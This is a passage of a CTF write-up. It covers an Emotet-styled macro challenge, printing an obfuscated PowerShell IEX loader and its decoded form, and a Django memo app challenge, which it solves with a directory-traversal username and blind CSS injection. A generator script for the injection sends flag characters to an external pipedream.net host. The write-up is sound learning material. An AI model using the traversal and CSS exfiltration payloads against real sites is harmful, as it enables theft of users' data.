class=\"token punctuation\">|</span>Suspicious<span class=\"token punctuation\">|</span>Xor                 <span class=\"token punctuation\">|</span>May attempt to obfuscate specific strings    <span class=\"token punctuation\">|</span>\n<span class=\"token punctuation\">|</span>          <span class=\"token punctuation\">|</span>                    <span class=\"token punctuation\">|</span><span class=\"token punctuation\">(</span>use option <span class=\"token operator\">--</span>deobf to deobfuscate<span class=\"token punctuation\">)</span>          <span class=\"token punctuation\">|</span>\n<span class=\"token punctuation\">|</span>Suspicious<span class=\"token punctuation\">|</span>Base64 Strings      <span class=\"token punctuation\">|</span>Base64-encoded strings were detected<span class=\"token punctuation\">,</span> may be <span class=\"token punctuation\">|</span>\n<span class=\"token punctuation\">|</span>          <span class=\"token punctuation\">|</span>                    <span class=\"token punctuation\">|</span>used to obfuscate strings <span class=\"token punctuation\">(</span>option <span class=\"token operator\">--</span>decode to<span class=\"token punctuation\">|</span>\n<span class=\"token punctuation\">|</span>          <span class=\"token punctuation\">|</span>                    <span class=\"token punctuation\">|</span>see all<span class=\"token punctuation\">)</span>                                     <span class=\"token punctuation\">|</span>\n<span class=\"token operator\">+</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">+</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">+</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">--</span><span class=\"token operator\">-</span><span class=\"token operator\">+</span></code></pre></div>\n<p>It is obfuscated to death, so it is hard to tell much from that alone. I simply assumed that if it was Emotet, it was probably calling PowerShell, so I decided to capture the process launched when the macro runs.</p>\n<p>That showed that it was running the following encoded PowerShell script.</p>\n<div class=\"gatsby-highlight\" data-language=\"powershell\"><pre class=\"language-powershell\"><code class=\"language-powershell\">C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1<span class=\"token punctuation\">.</span>0\\powershell<span class=\"token punctuation\">.</span>exe <span class=\"token operator\">-</span>e LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA</code></pre></div>\n<p>After decoding the Base64, I found that it was executing the following script.</p>\n<div class=\"gatsby-highlight\" data-language=\"powershell\"><pre class=\"language-powershell\"><code class=\"language-powershell\"><span class=\"token punctuation\">.</span><span class=\"token punctuation\">(</span><span class=\"token string\">'ieX'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token function\">nEw-objEct</span> SYsteM<span class=\"token punctuation\">.</span>Io<span class=\"token punctuation\">.</span>StReAMreadEr<span class=\"token punctuation\">(</span> <span class=\"token punctuation\">(</span> <span class=\"token function\">nEw-objEct</span>  SystEM<span class=\"token punctuation\">.</span>IO<span class=\"token punctuation\">.</span>COMPREssiON<span class=\"token punctuation\">.</span>deflaTEStreaM<span class=\"token punctuation\">(</span><span class=\"token namespace\">[Io.MemoRysTREAM]</span> <span class=\"token namespace\">[sYsTeM.cOnvErT]</span>::fROMBASE64STring<span class=\"token punctuation\">(</span> <span class=\"token string\">'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token namespace\">[sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]</span>::DeComPrESS<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token namespace\">[sysTEm.TEXt.encOdING]</span>::AsciI<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">)</span></code></pre></div>\n<p>I decoded the Base64 string inside it, but the result was binary data, so I could not read it directly.</p>\n<p>Looking at the processing, it calls <code class=\"language-text\">COMPREssiON.deflaTEStreaM</code>, so it is presumably a compressed memory stream.</p>\n<p>Reference: <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.io.compression.deflatestream?view=net-5.0\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">DeflateStream Class (System.IO.Compression) | Microsoft Docs</a></p>\n<p>If it is an encrypted memory stream, then once it is expanded in the process it should be back in plaintext, so I took a process dump of PowerShell while this script was running and analyzed it.</p>\n<div class=\"gatsby-highlight\" data-language=\"powershell\"><pre class=\"language-powershell\"><code class=\"language-powershell\"><span class=\"token function\">echo</span> <span class=\"token string\">\"Yes, we love VBA!\"</span>\n<span class=\"token variable\">$input</span> = <span class=\"token function\">Read-Host</span> <span class=\"token string\">\"Password\"</span>\n\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$input</span> <span class=\"token operator\">-eq</span> <span class=\"token string\">\"FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}\"</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">Write-Output</span> <span class=\"token string\">\"Correct!\"</span>\n<span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">Write-Output</span> <span class=\"token string\">\"Incorrect\"</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>That revealed the logic above, which gave me the flag.</p>\n<h2 id=\"web\" style=\"position:relative;\"><a href=\"#web\" aria-label=\"web permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Web</h2>\n<p>Most of the web challenges were straightforward copy-paste style problems, but the final one, <code class=\"language-text\">Styled memo</code>, was quite interesting.</p>\n<p>There was also a timely challenge about <strong>CVE-2021-41773</strong> that was easy but still taught me something new.</p>\n<p>I was not very familiar with how Nginx URI normalization behaves or with off-by-slash misconfigurations, so it was a good learning experience.</p>\n<p>Reference: <a href=\"https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Common Nginx misconfigurations that leave your web server open to attack - Detectify Blog</a></p>\n<p>Reference: <a href=\"https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Breaking-Parser-Logic</a></p>\n<h3 id=\"styled-memovery-hard\" style=\"position:relative;\"><a href=\"#styled-memovery-hard\" aria-label=\"styled memovery hard permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Styled memo(very hard)</h3>\n<p>This was a memo app built with Django.</p>\n<p>The available features were as follows.</p>\n<ul>\n<li>User registration/update</li>\n<li>Per-user CSS customization</li>\n<li>Memo creation/editing</li>\n</ul>\n<p>Duplicate usernames were not allowed.</p>\n<p>For the CSS that each user can configure, files can be uploaded, and uploaded files are placed under <code class=\"language-text\">/media/css/&lt;username>/&lt;filename>.css</code>.</p>\n<p>Behind the scenes, there was an Admin user associated with each normal user (presumably), and the flag was stored in the Admin user’s memo. The challenge was to somehow hack that.</p>\n<p>Since the app very explicitly lets you upload arbitrary CSS, it is easy to guess that the end goal is CSS injection.</p>\n<p>Reference: <a href=\"https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/05-Testing_for_CSS_Injection\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">WSTG - v4.1 CSS Injection | OWASP</a></p>\n<p>So from there, I thought about how to make an arbitrary CSS file appear on the Admin user’s page.</p>\n<p>The ideas I came up with were these.</p>\n<ul>\n<li>Steal the admin user’s credentials themselves</li>\n<li>Tamper with the admin user’s registration</li>\n<li>Make the admin user load a normal user’s CSS</li>\n<li>Tamper with the CSS loaded by the admin user</li>\n</ul>\n<h4 id=\"steal-the-admin-users-credentials-themselves\" style=\"position:relative;\"><a href=\"#steal-the-admin-users-credentials-themselves\" aria-label=\"steal the admin users credentials themselves permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Steal the admin user’s credentials themselves</h4>\n<p>This was the first thing I tried, but it looked like a very high bar.</p>\n<p>The credentials were embedded in server-side environment variables and retrieved via Django functionality.</p>\n<p>The Django version was also 2.2.20, which is fairly recent for the 2.2 series, and I could not find any promising vulnerability.</p>\n<h4 id=\"tamper-with-the-admin-users-registration\" style=\"position:relative;\"><a href=\"#tamper-with-the-admin-users-registration\" aria-label=\"tamper with the admin users registration permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Tamper with the admin user’s registration</h4>\n<p>Since it used a custom user model, I inspected the model definition and found a tricky structure where each user stores a reference to the corresponding admin account.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">class</span> <span class=\"token class-name\">User</span><span class=\"token punctuation\">(</span>AbstractUser<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    username <span class=\"token operator\">=</span> models<span class=\"token punctuation\">.</span>CharField<span class=\"token punctuation\">(</span>\n        _<span class=\"token punctuation\">(</span><span class=\"token string\">\"username\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n        max_length<span class=\"token operator\">=</span><span class=\"token number\">150</span><span class=\"token punctuation\">,</span>\n        unique<span class=\"token operator\">=</span><span class=\"token boolean\">True</span><span class=\"token punctuation\">,</span>\n        help_text<span class=\"token operator\">=</span>_<span class=\"token punctuation\">(</span><span class=\"token string\">\"Required. 150 characters or fewer.\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n        error_messages<span class=\"token operator\">=</span><span class=\"token punctuation\">{</span>\n            <span class=\"token string\">\"unique\"</span><span class=\"token punctuation\">:</span> _<span class=\"token punctuation\">(</span><span class=\"token string\">\"A user with that username already exists.\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n        <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n    <span class=\"token punctuation\">)</span>\n    css <span class=\"token operator\">=</span> models<span class=\"token punctuation\">.</span>FileField<span class=\"token punctuation\">(</span>\n        <span class=\"token string\">\"メモ用CSS\"</span><span class=\"token punctuation\">,</span>\n        default<span class=\"token operator\">=</span>get_css_default<span class=\"token punctuation\">,</span>\n        blank<span class=\"token operator\">=</span><span class=\"token boolean\">True</span><span class=\"token punctuation\">,</span>\n        upload_to<span class=\"token operator\">=</span>get_upload_to<span class=\"token punctuation\">,</span>\n        storage<span class=\"token operator\">=</span>OverwriteStorage<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n    <span class=\"token punctuation\">)</span>\n    admin <span class=\"token operator\">=</span> models<span class=\"token punctuation\">.</span>ForeignKey<span class=\"token punctuation\">(</span><span class=\"token string\">\"User\"</span><span class=\"token punctuation\">,</span> null<span class=\"token operator\">=</span><span class=\"token boolean\">True</span><span class=\"token punctuation\">,</span> on_delete<span class=\"token operator\">=</span>models<span class=\"token punctuation\">.</span>PROTECT<span class=\"token punctuation\">)</span>\n\n    <span class=\"token decorator annotation punctuation\">@cached_property</span>\n    <span class=\"token keyword\">def</span> <span class=\"token function\">admin_username</span><span class=\"token punctuation\">(</span>self<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">if</span> self<span class=\"token punctuation\">.</span>admin <span class=\"token keyword\">is</span> <span class=\"token keyword\">not</span> <span class=\"token boolean\">None</span><span class=\"token punctuation\">:</span>\n            <span class=\"token keyword\">return</span> self<span class=\"token punctuation\">.</span>admin<span class=\"token punctuation\">.</span>username\n        <span class=\"token keyword\">return</span> <span class=\"token string\">\"\"</span></code></pre></div>\n<p>Looking at <code class=\"language-text\">RegisterView</code>, I found that a corresponding admin user is created 1:1 when a user is created. (Probably for CTF convenience.)</p>\n<p>Unfortunately, the admin-user creation was handled entirely in backend code outside of my control, so tampering with it looked difficult.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">admin_username <span class=\"token operator\">=</span> <span class=\"token boolean\">None</span>\n<span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>\n    admin_username <span class=\"token keyword\">is</span> <span class=\"token boolean\">None</span>\n    <span class=\"token keyword\">or</span> User<span class=\"token punctuation\">.</span>objects<span class=\"token punctuation\">.</span><span class=\"token builtin\">filter</span><span class=\"token punctuation\">(</span>username<span class=\"token operator\">=</span>admin_username<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>exists<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\nadmin_username <span class=\"token operator\">=</span> <span class=\"token string\">\"admin\"</span> <span class=\"token operator\">+</span> <span class=\"token string\">\"\"</span><span class=\"token punctuation\">.</span>join<span class=\"token punctuation\">(</span>random<span class=\"token punctuation\">.</span>sample<span class=\"token punctuation\">(</span>chars<span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\nadmin <span class=\"token operator\">=</span> User<span class=\"token punctuation\">(</span>username<span class=\"token operator\">=</span>admin_username<span class=\"token punctuation\">)</span>\nadmin<span class=\"token punctuation\">.</span>set_password<span class=\"token punctuation\">(</span>os<span class=\"token punctuation\">.</span>environ<span class=\"token punctuation\">.</span>get<span class=\"token punctuation\">(</span><span class=\"token string\">\"ADMIN_PASSWORD\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\nadmin<span class=\"token punctuation\">.</span>save<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\nuser<span class=\"token punctuation\">.</span>admin <span class=\"token operator\">=</span> admin\nuser<span class=\"token punctuation\">.</span>save<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<h4 id=\"make-the-admin-user-load-a-normal-users-css\" style=\"position:relative;\"><a href=\"#make-the-admin-user-load-a-normal-users-css\" aria-label=\"make the admin user load a normal users css permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Make the admin user load a normal user’s CSS</h4>\n<p>The Admin user was implemented so that it could not open anything other than its own page, so this seemed difficult.</p>\n<p>I also realized halfway through that this was pointless anyway: the flag is on the Admin user’s page, so making the Admin user visit a normal user’s page would not help.</p>\n<h4 id=\"tamper-with-the-css-loaded-by-the-admin-user\" style=\"position:relative;\"><a href=\"#tamper-with-the-css-loaded-by-the-admin-user\" aria-label=\"tamper with the css loaded by the admin user permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Tamper with the CSS loaded by the admin user</h4>\n<p>The path to each user’s CSS is created by the <code class=\"language-text\">get_upload_to</code> function when a CSS file is uploaded.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">def</span> <span class=\"token function\">get_upload_to</span><span class=\"token punctuation\">(</span>user<span class=\"token punctuation\">,</span> filename<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">return</span> <span class=\"token string\">\"css/{0}/{1}\"</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span>user<span class=\"token punctuation\">.</span>username<span class=\"token punctuation\">,</span> filename<span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">get_css_default</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">return</span> File<span class=\"token punctuation\">(</span><span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"app/static/example.css\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"r\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"example.css\"</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>Looking more closely at the <code class=\"language-text\">User</code> model definition, I noticed that the uploaded CSS path itself is not tied to the <code class=\"language-text\">User</code> model and lies outside the scope protected by user authentication.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">css <span class=\"token operator\">=</span> models<span class=\"token punctuation\">.</span>FileField<span class=\"token punctuation\">(</span>\n\t<span class=\"token string\">\"メモ用CSS\"</span><span class=\"token punctuation\">,</span>\n    default<span class=\"token operator\">=</span>get_css_default<span class=\"token punctuation\">,</span>\n    blank<span class=\"token operator\">=</span><span class=\"token boolean\">True</span><span class=\"token punctuation\">,</span>\n    upload_to<span class=\"token operator\">=</span>get_upload_to<span class=\"token punctuation\">,</span>\n    storage<span class=\"token operator\">=</span>OverwriteStorage<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n<span class=\"token punctuation\">)</span></code></pre></div>\n<p>In other words, all I had to do was somehow make the CSS path returned by <code class=\"language-text\">get_upload_to</code> match the CSS path referenced by the Admin user.</p>\n<p>This turned out to be very easy.</p>\n<p><code class=\"language-text\">get_upload_to</code> returns nothing more than a path string, and when Django resolves the CSS file path from that string, directory traversal works.</p>\n<p>So I changed my username to the following and uploaded <code class=\"language-text\">example.css</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token comment\"># Username after change</span>\n<span class=\"token punctuation\">..</span>/css/Adminhoge</code></pre></div>\n<p>That successfully overwrote the contents of <code class=\"language-text\">/media/css/Adminhoge/example.css</code>!</p>\n<h4 id=\"blind-css-injection\" style=\"position:relative;\"><a href=\"#blind-css-injection\" aria-label=\"blind css injection permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Blind CSS Injection</h4>\n<p>Now that I could make the Admin user load arbitrary CSS, the rest was just work.</p>\n<p>The flag is stored in the memo data’s <code class=\"language-text\">data-content</code>.</p>\n<p>So by creating CSS like the following, I could identify the flag one character at a time via blind extraction.</p>\n<div class=\"gatsby-highlight\" data-language=\"css\"><pre class=\"language-css\"><code class=\"language-css\"><span class=\"token selector\">button[data-content^=\"FLAG{C\"]</span> \n<span class=\"token punctuation\">{</span>\n    <span class=\"token property\">background</span><span class=\"token punctuation\">:</span> <span class=\"token url\"><span class=\"token function\">url</span><span class=\"token punctuation\">(</span>https://remoteurl[.]xxx?FLAG{C<span class=\"token punctuation\">)</span></span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>To generate CSS that tries every pattern and identifies one character of the flag, I wrote the following script.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token comment\"># Usage: python3 gen_css.py > example.css</span>\nV <span class=\"token operator\">=</span> <span class=\"token string\">\"}{!#$%&amp;()=-~^|`@[]*?_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-\"</span>\n\n<span class=\"token keyword\">for</span> val <span class=\"token keyword\">in</span> V<span class=\"token punctuation\">:</span>\n    flag <span class=\"token operator\">=</span> <span class=\"token string\">\"FLAG{\"</span> <span class=\"token operator\">+</span> val\n    css <span class=\"token operator\">=</span> <span class=\"token triple-quoted-string string\">\"\"\"button[data-content^=\\\"\"\"</span><span class=\"token string\">\" + flag + \"</span><span class=\"token string\">\"\"</span>\\<span class=\"token string\">\"] {background: url(https://enuht7nw1df9k7r.m.pipedream.net?\"</span><span class=\"token string\">\"\"</span> <span class=\"token operator\">+</span> flag <span class=\"token operator\">+</span> <span class=\"token triple-quoted-string string\">\"\"\");}\"\"\"</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>css<span class=\"token punctuation\">)</span></code></pre></div>\n<p>After uploading the generated <code class=\"language-text\">example.css</code>, once the Admin user logged into its page, one character of the flag would be sent to the remote server.</p>\n<p>Repeating this eventually let me determine that the flag was <code class=\"language-text\">FLAG{CSS_Injecti0n_us1ng_d1r3ctory_tr@versal}</code>!</p>\n<p>It would probably have been better to use CSS recursion or write an upload automation script, but since I only needed the flag, I brute-forced it manually one character at a time.</p>\n<h2 id=\"unsolved-challenges\" style=\"position:relative;\"><a href=\"#unsolved-challenges\" aria-label=\"unsolved challenges permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Unsolved Challenges</h2>\n<h3 id=\"breakraidforensic\" style=\"position:relative;\"><a href=\"#breakraidforensic\" aria-label=\"breakraidforensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 